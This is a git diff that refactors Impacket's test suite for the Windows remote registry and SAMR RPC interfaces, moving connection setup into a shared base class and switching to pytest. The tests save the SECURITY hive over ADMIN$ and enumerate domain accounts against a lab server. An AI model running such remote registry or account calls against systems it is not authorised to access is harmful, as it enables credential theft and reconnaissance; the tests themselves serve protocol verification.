rpctransport, phKey = self.connect() + dce, rpctransport = self.connect() + phKey = self.open_local_machine(dce) request = rrp.BaseRegOpenKey() request['hKey'] = phKey @@ -520,12 +527,12 @@ def test_BaseRegQueryMultipleValues(self): resp.dump() def test_hBaseRegQueryMultipleValues(self): - dce, rpctransport, phKey = self.connect() + dce, rpctransport = self.connect() + phKey = self.open_local_machine(dce) resp = rrp.hBaseRegOpenKey(dce, phKey, 'SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\x00') resp.dump() - valueIn = list() item1 = {} item1['ValueName'] = 'ProductName\x00' @@ -545,7 +552,7 @@ def test_hBaseRegQueryMultipleValues(self): rrp.hBaseRegQueryMultipleValues(dce, resp['phkResult'], valueIn) def test_BaseRegSaveKeyEx(self): - dce, rpctransport, phKey = self.connect() + dce, rpctransport = self.connect() request = rrp.OpenCurrentUser() request['ServerName'] = NULL @@ -565,7 +572,7 @@ def test_BaseRegSaveKeyEx(self): smb.deleteFile('ADMIN$', 'System32\\BETUSFILE2') def test_hBaseRegSaveKeyEx(self): - dce, rpctransport, phKey = self.connect() + dce, rpctransport = self.connect() resp = rrp.hOpenCurrentUser(dce) resp.dump() @@ -577,7 +584,7 @@ def test_hBaseRegSaveKeyEx(self): smb.deleteFile('ADMIN$', 'System32\\BETUSFILE2') def test_OpenPerformanceText(self): - dce, rpctransport, phKey = self.connect() + dce, rpctransport = self.connect() request = rrp.OpenPerformanceText() request['ServerName'] = NULL @@ -586,13 +593,13 @@ def test_OpenPerformanceText(self): resp.dump() def test_hOpenPerformanceText(self): - dce, rpctransport, phKey = self.connect() + dce, rpctransport = self.connect() resp = rrp.hOpenPerformanceText(dce) resp.dump() def test_OpenPerformanceNlsText(self): - dce, rpctransport, phKey = self.connect() + dce, rpctransport = self.connect() request = rrp.OpenPerformanceNlsText() request['ServerName'] = NULL @@ -601,13 +608,14 @@ def test_OpenPerformanceNlsText(self): resp.dump() def test_hOpenPerformanceNlsText(self): - dce, rpctransport, phKey = self.connect() + dce, rpctransport = self.connect() resp = rrp.hOpenPerformanceNlsText(dce) resp.dump() def test_BaseRegQueryMultipleValues2(self): - dce, rpctransport, phKey = self.connect() + dce, rpctransport = self.connect() + phKey = self.open_local_machine(dce) request = rrp.BaseRegOpenKey() request['hKey'] = phKey @@ -648,7 +656,7 @@ def test_BaseRegQueryMultipleValues2(self): resp.dump() def test_BaseRegDeleteKeyEx(self): - dce, rpctransport, phKey = self.connect() + dce, rpctransport = self.connect() request = rrp.OpenClassesRoot() request['ServerName'] = NULL request['samDesired'] = MAXIMUM_ALLOWED @@ -658,7 +666,7 @@ def test_BaseRegDeleteKeyEx(self): request = rrp.BaseRegCreateKey() request['hKey'] = regHandle - request['lpSubKey'] = 'BETO\x00' + request['lpSubKey'] = self.test_key request['lpClass'] = NULL request['dwOptions'] = 0x00000001 request['samDesired'] = MAXIMUM_ALLOWED @@ -669,14 +677,15 @@ def test_BaseRegDeleteKeyEx(self): request = rrp.BaseRegDeleteKeyEx() request['hKey'] = regHandle - request['lpSubKey'] = 'BETO\x00' + request['lpSubKey'] = self.test_key request['AccessMask'] = rrp.KEY_WOW64_32KEY request['Reserved'] = 0 resp = dce.request(request) resp.dump() def test_BaseRegLoadKey_BaseRegUnLoadKey(self): - dce, rpctransport, phKey = self.connect() + dce, rpctransport = self.connect() + phKey = self.open_local_machine(dce) request = rrp.BaseRegOpenKey() request['hKey'] = phKey @@ -710,9 +719,10 @@ def test_BaseRegLoadKey_BaseRegUnLoadKey(self): smb.deleteFile('ADMIN$', 'System32\\SEC') def test_hBaseRegLoadKey_hBaseRegUnLoadKey(self): - dce, rpctransport, phKey = self.connect() + dce, rpctransport = self.connect() + phKey = self.open_local_machine(dce) - resp = rrp.hBaseRegOpenKey(dce,phKey, 'SECURITY\x00') + resp = rrp.hBaseRegOpenKey(dce, phKey, 'SECURITY\x00') resp.dump() request = rrp.BaseRegSaveKey() @@ -722,7 +732,7 @@ def test_hBaseRegLoadKey_hBaseRegUnLoadKey(self): resp = dce.request(request) resp.dump() - resp = rrp.hBaseRegLoadKey(dce, phKey,'BETUS\x00', 'SEC\x00' ) + resp = rrp.hBaseRegLoadKey(dce, phKey, 'BETUS\x00', 'SEC\x00') resp.dump() resp = rrp.hBaseRegUnLoadKey(dce, phKey, 'BETUS\x00') @@ -732,59 +742,16 @@ def test_hBaseRegLoadKey_hBaseRegUnLoadKey(self): smb.deleteFile('ADMIN$', 'System32\\SEC') -class SMBTransport(RRPTests): - def setUp(self): - RRPTests.setUp(self) - configFile = ConfigParser.ConfigParser() - configFile.read('dcetests.cfg') - self.username = configFile.get('SMBTransport', 'username') - self.domain = configFile.get('SMBTransport', 'domain') - self.serverName = configFile.get('SMBTransport', 'servername') - self.password = configFile.get('SMBTransport', 'password') - self.machine = configFile.get('SMBTransport', 'machine') - self.hashes = configFile.get('SMBTransport', 'hashes') - self.stringBinding = r'ncacn_np:%s[\PIPE\winreg]' % self.machine - self.ts = ('8a885d04-1ceb-11c9-9fe8-08002b104860', '2.0') - self.rrpStarted = False - -class SMBTransport64(RRPTests): - def setUp(self): - RRPTests.setUp(self) - configFile = ConfigParser.ConfigParser() - configFile.read('dcetests.cfg') - self.username = configFile.get('SMBTransport', 'username') - self.domain = configFile.get('SMBTransport', 'domain') - self.serverName = configFile.get('SMBTransport', 'servername') - self.password = configFile.get('SMBTransport', 'password') - self.machine = configFile.get('SMBTransport', 'machine') - self.hashes = configFile.get('SMBTransport', 'hashes') - self.stringBinding = r'ncacn_np:%s[\PIPE\winreg]' % self.machine - self.ts = ('71710533-BEBA-4937-8319-B5DBEF9CCC36', '1.0') - self.rrpStarted = False - -class TCPTransport(RRPTests): - def setUp(self): - RRPTests.setUp(self) - configFile = ConfigParser.ConfigParser() - configFile.read('dcetests.cfg') - self.username = configFile.get('TCPTransport', 'username') - self.domain = configFile.get('TCPTransport', 'domain') - self.serverName = configFile.get('TCPTransport', 'servername') - self.password = configFile.get('TCPTransport', 'password') - self.machine = configFile.get('TCPTransport', 'machine') - self.hashes = configFile.get('TCPTransport', 'hashes') - self.stringBinding = epm.hept_map(self.machine, rrp.MSRPC_UUID_RRP, protocol = 'ncacn_ip_tcp') - self.rrpStarted = False +@pytest.mark.remote +class RRPTestsSMBTransport(RRPTests, unittest.TestCase): + transfer_syntax = DCERPCTests.TRANSFER_SYNTAX_NDR + + +@pytest.mark.remote +class RRPTestsSMBTransport64(RRPTests, unittest.TestCase): + transfer_syntax = DCERPCTests.TRANSFER_SYNTAX_NDR64 # Process command-line arguments. -if __name__ == '__main__': - import sys - if len(sys.argv) > 1: - testcase = sys.argv[1] - suite = unittest.TestLoader().loadTestsFromTestCase(globals()[testcase]) - else: - suite = unittest.TestLoader().loadTestsFromTestCase(SMBTransport) - suite.addTests(unittest.TestLoader().loadTestsFromTestCase(SMBTransport64)) - #suite.addTests(unittest.TestLoader().loadTestsFromTestCase(TCPTransport)) - unittest.TextTestRunner(verbosity=1).run(suite) +if __name__ == "__main__": + unittest.main(verbosity=1) diff --git a/tests/SMB_RPC/test_samr.py b/tests/dcerpc/test_samr.py similarity index 54% rename from tests/SMB_RPC/test_samr.py rename to tests/dcerpc/test_samr.py index fa44a81964..e6b56e8dc1 100644 --- a/tests/SMB_RPC/test_samr.py +++ b/tests/dcerpc/test_samr.py @@ -1,168 +1,112 @@ -############################################################################### -# Tested so far: -# -# SamrConnect5 -# SamrConnect4 -# SamrConnect2 -# SamrConnect -# SamrOpenDomain -# SamrOpenGroup -# SamrOpenAlias -# SamrOpenUser -# SamrEnumerateDomainsInSamServer -# SamrEnumerateGroupsInDomain -# SamrEnumerateAliasesInDomain -# SamrEnumerateUsersInDomain -# SamrLookupDomainInSamServer -# SamrLookupNamesInDomain -# SamrLookupIdsInDomain -# SamrGetGroupsForUser -# SamrQueryDisplayInformation3 -# SamrQueryDisplayInformation2 -# SamrQueryDisplayInformation -# SamrGetDisplayEnumerationIndex2 -# SamrGetDisplayEnumerationIndex -# SamrCreateGroupInDomain -# SamrCreateAliasInDomain -# SamrCreateUser2InDomain -# SamrCreateUserInDomain -# SamrQueryInformationDomain2 -# SamrQueryInformationDomain -# SamrQueryInformationGroup -# SamrQueryInformationAlias -# SamrQueryInformationUser2 -# SamrQueryInformationUser -# SamrDeleteUser -# SamrDeleteAlias -# SamrDeleteGroup -# SamrAddMemberToGroup -# SamrRemoveMemberFromGroup -# SamrGetMembersInGroup -# SamrGetMembersInAlias -# SamrAddMemberToAlias -# SamrRemoveMemberFromAlias -# SamrAddMultipleMembersToAlias -# SamrRemoveMultipleMembersFromAlias -# SamrRemoveMemberFromForeignDomain -# SamrGetAliasMembership -# SamrCloseHandle -# SamrSetMemberAttributesOfGroup -# SamrGetUserDomainPasswordInformation -# SamrGetDomainPasswordInformation -# SamrRidToSid -# SamrSetDSRMPassword -# SamrValidatePassword -# SamrQuerySecurityObject -# SamrSetSecurityObject -# SamrSetInformationDomain -# SamrSetInformationGroup -# SamrSetInformationAlias -# SamrSetInformationUser2 -# SamrChangePasswordUser -# SamrOemChangePasswordUser2 -# SamrUnicodeChangePasswordUser2 -# hSamrConnect5 -# hSamrConnect4 -# hSamrConnect2 -# hSamrConnect -# hSamrOpenDomain -# hSamrOpenGroup -# hSamrOpenAlias -# hSamrOpenUser -# hSamrEnumerateDomainsInSamServer -# hSamrEnumerateGroupsInDomain -# hSamrEnumerateAliasesInDomain -# hSamrEnumerateUsersInDomain -# hSamrQueryDisplayInformation3 -# hSamrQueryDisplayInformation2 -# hSamrQueryDisplayInformation -# hSamrGetDisplayEnumerationIndex2 -# hSamrGetDisplayEnumerationIndex -# hSamrCreateGroupInDomain -# hSamrCreateAliasInDomain -# hSamrCreateUser2InDomain -# hSamrCreateUserInDomain -# hSamrQueryInformationDomain2 -# hSamrQueryInformationDomain -# hSamrQueryInformationGroup -# hSamrQueryInformationAlias -# SamrQueryInformationUser2 -# hSamrSetInformationDomain -# hSamrSetInformationGroup -# hSamrSetInformationAlias -# hSamrSetInformationUser2 -# hSamrDeleteGroup -# hSamrDeleteAlias -# hSamrDeleteUser -# hSamrAddMemberToGroup -# hSamrRemoveMemberFromGroup -# hSamrGetMembersInGroup -# hSamrAddMemberToAlias -# hSamrRemoveMemberFromAlias -# hSamrGetMembersInAlias -# hSamrRemoveMemberFromForeignDomain -# hSamrAddMultipleMembersToAlias -# hSamrRemoveMultipleMembersFromAlias -# hSamrGetGroupsForUser -# hSamrGetAliasMembership -# hSamrChangePasswordUser -# hSamrUnicodeChangePasswordUser2 -# hSamrLookupDomainInSamServer -# hSamrSetSecurityObject -# hSamrQuerySecurityObject -# hSamrCloseHandle -# hSamrGetUserDomainPasswordInformation -# hSamrGetDomainPasswordInformation -# hSamrRidToSid -# hSamrValidatePassword -# hSamrLookupNamesInDomain -# hSamrLookupIdsInDomain -# -# ToDo: -# -# Shouldn't dump errors against a win7 -################################################################################ - -try: - import ConfigParser -except ImportError: - import configparser as ConfigParser +# Impacket - Collection of Python classes for working with network protocols. +# +# SECUREAUTH LABS. Copyright (C) 2021 SecureAuth Corporation. All rights reserved. +# +# This software is provided under a slightly modified version +# of the Apache Software License. See the accompanying LICENSE file +# for more information. +# +# Tested so far: +# (h)SamrCloseHandle +# (h)SamrConnect5 +# (h)SamrConnect4 +# (h)SamrConnect2 +# (h)SamrConnect +# (h)SamrOpenDomain +# (h)SamrOpenGroup +# (h)SamrOpenAlias +# (h)SamrOpenUser +# (h)SamrEnumerateDomainsInSamServer +# (h)SamrLookupNamesInDomain +# (h)SamrLookupIdsInDomain +# (h)SamrEnumerateGroupsInDomain +# (h)SamrEnumerateAliasesInDomain +# (h)SamrEnumerateUsersInDomain +# (h)SamrGetGroupsForUser +# (h)SamrQueryDisplayInformation3 +# (h)SamrQueryDisplayInformation2 +# (h)SamrQueryDisplayInformation +# (h)SamrGetDisplayEnumerationIndex2 +# (h)SamrGetDisplayEnumerationIndex +# (h)SamrCreateGroupInDomain +# (h)SamrDeleteGroup +# (h)SamrCreateAliasInDomain +# (h)SamrDeleteAlias +# (h)SamrCreateUser2InDomain +# (h)SamrDeleteUser +# (h)SamrQueryInformationDomain2 +# hSamrQueryInformationDomain +# hSamrSetInformationDomain +# (h)SamrQueryInformationGroup +# (h)SamrSetInformationGroup +# hSamrQueryInformationAlias +# hSamrSetInformationAlias +# SamrQueryInformationAlias +# SamrSetInformationAlias +# (h)SamrQueryInformationUser2 +# (h)SamrSetInformationUser2 +# SamrQueryInformationUser +# SamrSetInformationUser +# (h)SamrAddMemberToGroup +# (h)SamrRemoveMemberFromGroup +# (h)SamrGetMembersInGroup +# (h)SamrGetMembersInAlias +# (h)SamrAddMemberToAlias +# (h)SamrRemoveMemberFromAlias +# (h)SamrAddMultipleMembersToAlias +# (h)SamrRemoveMultipleMembersFromAliass +# (h)SamrRemoveMemberFromForeignDomain +# (h)SamrGetAliasMembership +# (h)SamrSetMemberAttributesOfGroup +# (h)SamrGetUserDomainPasswordInformation +# (h)SamrGetDomainPasswordInformation +# (h)SamrRidToSid +# SamrSetDSRMPassword +# (h)SamrValidatePassword +# (h)SamrQuerySecurityObject +# (h)SamrSetSecurityObject +# (h)SamrChangePasswordUser +# SamrOemChangePasswordUser2 +# (h)SamrUnicodeChangePasswordUser2 +# (h)SamrLookupDomainInSamServer +# Not yet +# SamrCreateUserInDomain +# +import pytest import unittest +from tests.dcerpc import DCERPCTests + import string import random +from six import b +from six import assertRaisesRegex -from impacket.dcerpc.v5 import transport -from impacket.dcerpc.v5 import samr, epm +from impacket import crypto +from impacket.dcerpc.v5 import samr from impacket.dcerpc.v5 import dtypes from impacket import nt_errors, ntlm from impacket.dcerpc.v5.ndr import NULL -from six import b -class SAMRTests(unittest.TestCase): - def connect(self): - rpctransport = transport.DCERPCTransportFactory(self.stringBinding) - #rpctransport.set_dport(self.dport) - if len(self.hashes) > 0: - lmhash, nthash = self.hashes.split(':') - else: - lmhash = '' - nthash = '' - if hasattr(rpctransport, 'set_credentials'): - # This method exists only for selected protocol sequences. - rpctransport.set_credentials(self.username,self.password, self.domain, lmhash, nthash) - dce = rpctransport.get_dce_rpc() - dce.connect() - #dce.set_auth_level(ntlm.NTLM_AUTH_PKT_PRIVACY) - dce.set_auth_level(ntlm.NTLM_AUTH_PKT_INTEGRITY) - dce.bind(samr.MSRPC_UUID_SAMR, transfer_syntax = self.ts) +class SAMRTests(DCERPCTests): + iface_uuid = samr.MSRPC_UUID_SAMR + authn = True + authn_level = ntlm.NTLM_AUTH_PKT_INTEGRITY + + server_name_string = "BETO\x00" + full_name_string = "BETO" + test_string = "BETUS" + test_account = "testAccount" + test_group = "testGroup" + + def get_domain_handle(self, dce): request = samr.SamrConnect() - request['ServerName'] = 'BETO\x00' + request['ServerName'] = self.server_name_string request['DesiredAccess'] = samr.DELETE | samr.READ_CONTROL | samr.WRITE_DAC | samr.WRITE_OWNER | samr.ACCESS_SYSTEM_SECURITY | samr.GENERIC_READ | samr.GENERIC_WRITE | samr.GENERIC_EXECUTE | samr.SAM_SERVER_CONNECT | samr.SAM_SERVER_SHUTDOWN | samr.SAM_SERVER_INITIALIZE | samr.SAM_SERVER_CREATE_DOMAIN | samr.SAM_SERVER_ENUMERATE_DOMAINS | samr.SAM_SERVER_LOOKUP_DOMAIN | samr.SAM_SERVER_READ | samr.SAM_SERVER_WRITE | samr.SAM_SERVER_EXECUTE resp = dce.request(request) request = samr.SamrEnumerateDomainsInSamServer() request['ServerHandle'] = resp['ServerHandle'] - request['EnumerationContext'] = 0 + request['EnumerationContext'] = 0 request['PreferedMaximumLength'] = 500 resp2 = dce.request(request) request = samr.SamrLookupDomainInSamServer() @@ -171,28 +115,29 @@ def connect(self): resp3 = dce.request(request) request = samr.SamrOpenDomain() request['ServerHandle'] = resp['ServerHandle'] - request['DesiredAccess'] = samr.DOMAIN_READ_PASSWORD_PARAMETERS | samr.DOMAIN_READ_OTHER_PARAMETERS | samr.DOMAIN_CREATE_USER | samr.DOMAIN_CREATE_ALIAS | samr.DOMAIN_LOOKUP | samr.DOMAIN_LIST_ACCOUNTS | samr.DOMAIN_ADMINISTER_SERVER | samr.DELETE | samr.READ_CONTROL | samr.ACCESS_SYSTEM_SECURITY | samr.DOMAIN_WRITE_OTHER_PARAMETERS | samr.DOMAIN_WRITE_PASSWORD_PARAMS + request['DesiredAccess'] = samr.DOMAIN_READ_PASSWORD_PARAMETERS | samr.DOMAIN_READ_OTHER_PARAMETERS | samr.DOMAIN_CREATE_USER | samr.DOMAIN_CREATE_ALIAS | samr.DOMAIN_LOOKUP | samr.DOMAIN_LIST_ACCOUNTS | samr.DOMAIN_ADMINISTER_SERVER | samr.DELETE | samr.READ_CONTROL | samr.ACCESS_SYSTEM_SECURITY | samr.DOMAIN_WRITE_OTHER_PARAMETERS | samr.DOMAIN_WRITE_PASSWORD_PARAMS request['DomainId'] = resp3['DomainId'] resp4 = dce.request(request) - - return dce, rpctransport, resp4['DomainHandle'] + return resp4['DomainHandle'] def test_SamrCloseHandle(self): - dce, rpctransport, domainHandle = self.connect() + dce, rpc_transport = self.connect() + domainHandle = self.get_domain_handle(dce) request = samr.SamrCloseHandle() request['SamHandle'] = domainHandle resp = dce.request(request) resp.dump() def test_hSamrCloseHandle(self): - dce, rpctransport, domainHandle = self.connect() + dce, rpc_transport = self.connect() + domainHandle = self.get_domain_handle(dce) resp = samr.hSamrCloseHandle(dce, domainHandle) resp.dump() def test_SamrConnect5(self): - dce, rpctransport, domainHandle = self.connect() + dce, rpc_transport = self.connect() request = samr.SamrConnect5() - request['ServerName'] = 'BETO\x00' + request['ServerName'] = self.server_name_string request['DesiredAccess'] = dtypes.MAXIMUM_ALLOWED request['InVersion'] = 1 request['InRevisionInfo']['tag'] = 1 @@ -200,153 +145,145 @@ def test_SamrConnect5(self): resp.dump() def test_hSamrConnect5(self): - dce, rpctransport, domainHandle = self.connect() + dce, rpc_transport = self.connect() resp = samr.hSamrConnect5(dce) resp.dump() def test_SamrConnect4(self): - dce, rpctransport, domainHandle = self.connect() + dce, rpc_transport = self.connect() request = samr.SamrConnect4() request['DesiredAccess'] = dtypes.MAXIMUM_ALLOWED - request['ServerName'] = 'BETO\x00' + request['ServerName'] = self.server_name_string request['ClientRevision'] = 2 resp = dce.request(request) resp.dump() def test_hSamrConnect4(self): - dce, rpctransport, domainHandle = self.connect() + dce, rpc_transport = self.connect() resp = samr.hSamrConnect4(dce) resp.dump() def test_SamrConnect2(self): - dce, rpctransport, domainHandle = self.connect() + dce, rpc_transport = self.connect() request = samr.SamrConnect2() request['DesiredAccess'] = dtypes.MAXIMUM_ALLOWED - request['ServerName'] = 'BETO\x00' + request['ServerName'] = self.server_name_string resp = dce.request(request) resp.dump() def test_hSamrConnect2(self): - dce, rpctransport, domainHandle = self.connect() + dce, rpc_transport = self.connect() resp = samr.hSamrConnect2(dce) resp.dump() def test_SamrConnect(self): - dce, rpctransport, domainHandle = self.connect() + dce, rpc_transport = self.connect() request = samr.SamrConnect() request['DesiredAccess'] = dtypes.MAXIMUM_ALLOWED resp = dce.request(request) resp.dump() def test_hSamrConnect(self): - dce, rpctransport, domainHandle = self.connect() + dce, rpc_transport = self.connect() resp = samr.hSamrConnect(dce) resp.dump() def test_SamrOpenDomain(self): - dce, rpctransport, domainHandle = self.connect() + dce, rpc_transport = self.connect() request = samr.SamrConnect() request['DesiredAccess'] = dtypes.MAXIMUM_ALLOWED - request['ServerName'] = 'BETO\x00' + request['ServerName'] = self.server_name_string resp = dce.request(request) request = samr.SamrOpenDomain() SID = 'S-1-5-352321536-2562177771-1589929855-2033349547' request['ServerHandle'] = resp['ServerHandle'] - request['DesiredAccess'] = dtypes.MAXIMUM_ALLOWED + request['DesiredAccess'] = dtypes.MAXIMUM_ALLOWED request['DomainId'].fromCanonical(SID) - try: - resp = dce.request(request) - resp.dump() - except Exception as e: - if str(e).find('STATUS_NO_SUCH_DOMAIN') < 0: - raise + + with assertRaisesRegex(self, samr.DCERPCSessionError, "STATUS_NO_SUCH_DOMAIN"): + dce.request(request) def test_hSamrOpenDomain(self): - dce, rpctransport, domainHandle = self.connect() + dce, rpc_transport = self.connect() resp = samr.hSamrConnect(dce) SID = 'S-1-5-352321536-2562177771-1589929855-2033349547' sid = dtypes.RPC_SID() sid.fromCanonical(SID) - try: - resp = samr.hSamrOpenDomain(dce, serverHandle = resp['ServerHandle'], domainId = sid) - resp.dump() - except Exception as e: - if str(e).find('STATUS_NO_SUCH_DOMAIN') < 0: - raise + with assertRaisesRegex(self, samr.DCERPCSessionError, "STATUS_NO_SUCH_DOMAIN"): + samr.hSamrOpenDomain(dce, serverHandle=resp['ServerHandle'], domainId=sid) def test_SamrOpenGroup(self): - dce, rpctransport, domainHandle = self.connect() + dce, rpc_transport = self.connect() + domainHandle = self.get_domain_handle(dce) request = samr.SamrConnect() request['DesiredAccess'] = dtypes.MAXIMUM_ALLOWED - request['ServerName'] = 'BETO\x00' - resp = dce.request(request) + request['ServerName'] = self.server_name_string + dce.request(request) request = samr.SamrOpenGroup() request['DomainHandle'] = domainHandle - request['DesiredAccess'] = dtypes.MAXIMUM_ALLOWED + request['DesiredAccess'] = dtypes.MAXIMUM_ALLOWED request['GroupId'] = samr.DOMAIN_GROUP_RID_USERS try: resp = dce.request(request) resp.dump() - except Exception as e: + except samr.DCERPCSessionError as e: if str(e).find('STATUS_NO_SUCH_DOMAIN') < 0: raise def test_hSamrOpenGroup(self): - dce, rpctransport, domainHandle = self.connect() + dce, rpc_transport = self.connect() + domainHandle = self.get_domain_handle(dce) try: resp = samr.hSamrOpenGroup(dce, domainHandle, groupId=samr.DOMAIN_GROUP_RID_USERS) resp.dump() - except Exception as e: + except samr.DCERPCSessionError as e: if str(e).find('STATUS_NO_SUCH_DOMAIN') < 0: raise def test_SamrOpenAlias(self): - dce, rpctransport, domainHandle = self.connect() + dce, rpc_transport = self.connect() + domainHandle = self.get_domain_handle(dce) request = samr.SamrOpenAlias() request['DomainHandle'] = domainHandle - request['DesiredAccess'] = dtypes.MAXIMUM_ALLOWED + request['DesiredAccess'] = dtypes.MAXIMUM_ALLOWED request['AliasId'] = 25 - try: - resp = dce.request(request) - resp.dump() - except Exception as e: - if str(e).find('STATUS_NO_SUCH_ALIAS') < 0: - raise + with assertRaisesRegex(self, samr.DCERPCSessionError, "STATUS_NO_SUCH_ALIAS"): + dce.request(request) def test_hSamrOpenAlias(self): - dce, rpctransport, domainHandle = self.connect() - try: - resp = samr.hSamrOpenAlias(dce, domainHandle, aliasId = 25) - resp.dump() - except Exception as e: - if str(e).find('STATUS_NO_SUCH_ALIAS') < 0: - raise + dce, rpc_transport = self.connect() + domainHandle = self.get_domain_handle(dce) + with assertRaisesRegex(self, samr.DCERPCSessionError, "STATUS_NO_SUCH_ALIAS"): + samr.hSamrOpenAlias(dce, domainHandle, aliasId=25) def test_SamrOpenUser(self): - dce, rpctransport, domainHandle = self.connect() + dce, rpc_transport = self.connect() + domainHandle = self.get_domain_handle(dce) request = samr.SamrOpenUser() request['DomainHandle'] = domainHandle - request['DesiredAccess'] = samr.USER_READ_GENERAL | samr.USER_READ_PREFERENCES | samr.USER_READ_ACCOUNT + request['DesiredAccess'] = samr.USER_READ_GENERAL | samr.USER_READ_PREFERENCES | samr.USER_READ_ACCOUNT request['UserId'] = samr.DOMAIN_USER_RID_ADMIN resp = dce.request(request) resp.dump() def test_hSamrOpenUser(self): - dce, rpctransport, domainHandle = self.connect() - resp = samr.hSamrOpenUser(dce, domainHandle, samr.USER_READ_GENERAL | samr.USER_READ_PREFERENCES | samr.USER_READ_ACCOUNT, samr.DOMAIN_USER_RID_ADMIN) - + dce, rpc_transport = self.connect() + domainHandle = self.get_domain_handle(dce) + resp = samr.hSamrOpenUser(dce, domainHandle, + samr.USER_READ_GENERAL | samr.USER_READ_PREFERENCES | samr.USER_READ_ACCOUNT, + samr.DOMAIN_USER_RID_ADMIN) resp.dump() def test_SamrEnumerateDomainsInSamServer(self): - dce, rpctransport, domainHandle = self.connect() + dce, rpc_transport = self.connect() request = samr.SamrConnect() - request['ServerName'] = 'BETO\x00' + request['ServerName'] = self.server_name_string request['DesiredAccess'] = samr.SAM_SERVER_ENUMERATE_DOMAINS | samr.SAM_SERVER_LOOKUP_DOMAIN resp = dce.request(request) request = samr.SamrEnumerateDomainsInSamServer() request['ServerHandle'] = resp['ServerHandle'] - request['EnumerationContext'] = 0 + request['EnumerationContext'] = 0 request['PreferedMaximumLength'] = 500 resp2 = dce.request(request) resp2.dump() @@ -357,27 +294,28 @@ def test_SamrEnumerateDomainsInSamServer(self): resp3.dump() request = samr.SamrOpenDomain() request['ServerHandle'] = resp['ServerHandle'] - request['DesiredAccess'] = dtypes.MAXIMUM_ALLOWED + request['DesiredAccess'] = dtypes.MAXIMUM_ALLOWED request['DomainId'] = resp3['DomainId'] resp4 = dce.request(request) resp4.dump() def test_hSamrEnumerateDomainsInSamServer(self): - dce, rpctransport, domainHandle = self.connect() - resp = samr.hSamrConnect(dce, desiredAccess = samr.SAM_SERVER_ENUMERATE_DOMAINS | samr.SAM_SERVER_LOOKUP_DOMAIN) + dce, rpc_transport = self.connect() + resp = samr.hSamrConnect(dce, desiredAccess=samr.SAM_SERVER_ENUMERATE_DOMAINS | samr.SAM_SERVER_LOOKUP_DOMAIN) resp2 = samr.hSamrEnumerateDomainsInSamServer(dce, resp['ServerHandle']) resp2.dump() - resp3 = samr.hSamrLookupDomainInSamServer(dce, resp['ServerHandle'],resp2['Buffer']['Buffer'][0]['Name'] ) + resp3 = samr.hSamrLookupDomainInSamServer(dce, resp['ServerHandle'], resp2['Buffer']['Buffer'][0]['Name']) resp3.dump() request = samr.SamrOpenDomain() request['ServerHandle'] = resp['ServerHandle'] - request['DesiredAccess'] = dtypes.MAXIMUM_ALLOWED + request['DesiredAccess'] = dtypes.MAXIMUM_ALLOWED request['DomainId'] = resp3['DomainId'] resp4 = dce.request(request) resp4.dump() def test_SamrLookupNamesInDomain(self): - dce, rpctransport, domainHandle = self.connect() + dce, rpc_transport = self.connect() + domainHandle = self.get_domain_handle(dce) request = samr.SamrLookupNamesInDomain() request['DomainHandle'] = domainHandle request['Count'] = 1 @@ -391,17 +329,18 @@ def test_SamrLookupNamesInDomain(self): resp5.dump() def test_hSamrLookupNamesInDomain(self): - dce, rpctransport, domainHandle = self.connect() + dce, rpc_transport = self.connect() + domainHandle = self.get_domain_handle(dce) try: - resp = samr.hSamrLookupNamesInDomain(dce, domainHandle, ('Administrator','Guest')) + resp = samr.hSamrLookupNamesInDomain(dce, domainHandle, ('Administrator', 'Guest')) resp.dump() - except Exception as e: - if str(e).find('STATUS_MORE_ENTRIES') >=0: + except samr.DCERPCSessionError as e: + if str(e).find('STATUS_MORE_ENTRIES') >= 0: pass - e.get_packet().dump() def test_SamrLookupIdsInDomain(self): - dce, rpctransport, domainHandle = self.connect() + dce, rpc_transport = self.connect() + domainHandle = self.get_domain_handle(dce) request = samr.SamrLookupIdsInDomain() request.dump() request['DomainHandle'] = domainHandle @@ -417,21 +356,23 @@ def test_SamrLookupIdsInDomain(self): resp5.dump() def test_hSamrLookupIdsInDomain(self): - dce, rpctransport, domainHandle = self.connect() - resp = samr.hSamrLookupIdsInDomain(dce, domainHandle, (500,501)) + dce, rpc_transport = self.connect() + domainHandle = self.get_domain_handle(dce) + resp = samr.hSamrLookupIdsInDomain(dce, domainHandle, (500, 501)) resp.dump() def test_SamrEnumerateGroupsInDomain(self): - dce, rpctransport, domainHandle = self.connect() + dce, rpc_transport = self.connect() + domainHandle = self.get_domain_handle(dce) request = samr.SamrEnumerateGroupsInDomain() request['DomainHandle'] = domainHandle - request['EnumerationContext'] = 0 + request['EnumerationContext'] = 0 request['PreferedMaximumLength'] = 500 status = nt_errors.STATUS_MORE_ENTRIES while status == nt_errors.STATUS_MORE_ENTRIES: try: resp4 = dce.request(request) - except Exception as e: + except samr.DCERPCSessionError as e: if str(e).find('STATUS_MORE_ENTRIES') < 0: raise resp4 = e.get_packet() @@ -440,21 +381,23 @@ def test_SamrEnumerateGroupsInDomain(self): status = resp4['ErrorCode'] def test_hSamrEnumerateGroupsInDomain(self): - dce, rpctransport, domainHandle = self.connect() + dce, rpc_transport = self.connect() + domainHandle = self.get_domain_handle(dce) resp = samr.hSamrEnumerateGroupsInDomain(dce, domainHandle) resp.dump() def test_SamrEnumerateAliasesInDomain(self): - dce, rpctransport, domainHandle = self.connect() + dce, rpc_transport = self.connect() + domainHandle = self.get_domain_handle(dce) request = samr.SamrEnumerateAliasesInDomain() request['DomainHandle'] = domainHandle - request['EnumerationContext'] = 0 + request['EnumerationContext'] = 0 request['PreferedMaximumLength'] = 500 status = nt_errors.STATUS_MORE_ENTRIES while status == nt_errors.STATUS_MORE_ENTRIES: try: resp4 = dce.request(request) - except Exception as e: + except samr.DCERPCSessionError as e: if str(e).find('STATUS_MORE_ENTRIES') < 0: raise resp4 = e.get_packet() @@ -463,22 +406,24 @@ def test_SamrEnumerateAliasesInDomain(self): status = resp4['ErrorCode'] def test_hSamrEnumerateAliasesInDomain(self): - dce, rpctransport, domainHandle = self.connect() + dce, rpc_transport = self.connect() + domainHandle = self.get_domain_handle(dce) resp = samr.hSamrEnumerateAliasesInDomain(dce, domainHandle) resp.dump() def test_SamrEnumerateUsersInDomain(self): - dce, rpctransport, domainHandle = self.connect() + dce, rpc_transport = self.connect() + domainHandle = self.get_domain_handle(dce) request = samr.SamrEnumerateUsersInDomain() request['DomainHandle'] = domainHandle - request['UserAccountControl'] = samr.USER_NORMAL_ACCOUNT - request['EnumerationContext'] = 0 + request['UserAccountControl'] = samr.USER_NORMAL_ACCOUNT + request['EnumerationContext'] = 0 